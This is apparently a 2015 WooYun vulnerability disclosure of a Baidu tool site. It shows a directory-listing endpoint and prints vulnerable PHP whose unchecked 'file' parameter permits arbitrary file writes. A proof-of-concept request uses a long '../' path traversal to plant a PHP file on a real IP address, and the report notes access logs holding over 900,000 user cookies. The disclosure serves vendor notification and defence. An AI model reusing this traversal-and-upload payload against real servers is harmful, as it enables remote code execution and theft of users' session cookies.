当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156012

漏洞标题：百度某站后门式程序任意文件上传导致命令执行(导致较多用户cookie泄露哟)

相关厂商：百度

漏洞作者： 路人甲

提交时间：2015-11-26 11:00

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-26： 细节已通知厂商并且等待厂商处理中
2015-11-26： 厂商已经确认，细节仅向厂商公开
2015-12-06： 细节向核心白帽子及相关领域专家公开
2015-12-16： 细节向普通白帽子公开
2015-12-26： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

还是放出来把，别被坏人利用了

详细说明：

弱点扫描扫到的啦，看似一个低危的问题，其实很屌的，这是一个列目录接口

http://180.149.144.210/tool/demo.php?action=list&path=/home/bae/wwwdata/webroot/&t=1444798305167


写了一个脚本读了一下这个文件，这个文件可上传，可读取。：）

➜  tmp  python 1.py /home/bae/wwwdata/webroot/tool/data.php
<?php
require_once("evr.php");
$resout = array();
$errMap = array(
	0 => "成功",
	1 => "没有参数",
	2 => "Json格式错误",
	3 => "找不到测试数据"
);
function error($no){
	global $resout;
	global $errMap;
	$resout['errno'] = $no;
	if(isset($errMap[$no])){
		$resout['errmsg'] = $errMap[$no];
	}else{
		$resout['errmsg'] = '未知错误';
	}
}
error(0);
if( isset($_GET['file']) ){
	$file_name = DATA_PATH . DS . $_GET['file'];
	if(!isset($_POST['data'])){
		if(file_exists($file_name)){
			$data = file_get_contents($file_name);
		}else{
			$data = "";
			error(3);
		}
	}else{
		$data = $_POST['data'];
		if(json_decode($data)){
			file_put_contents($file_name,$data);
		}else{
			error(2);
		}
	}
	$resout["data"] = $data;
}else{
	error(1);
}
header('Content-type: text/javascript');
//header('Content-Disposition: attachment; filename="' . $id . '.json"');
echo(json_encode($resout));


漏洞证明：

随便传一个文件看看

http://180.149.144.210/tool/data.php
?file=../../../../../../../../../../../../../../../../../../../../../../../../home/bae/wwwdata/webroot/tool/x1.php
data={"x":"<?php 任意代码即可')?>"}


http://180.149.144.210/tool/x1.php

1.png


/home/bae/lighttpd/log/tinglog/access.*
这个目录下存了一堆access_log，好多用户cookie啊

2.png


90多万条

3.png


修复方案：

这个程序员估计离职了吧

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-11-26 13:52

厂商回复：

非常感谢您的报告，问题已着手处理，感谢您对百度安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无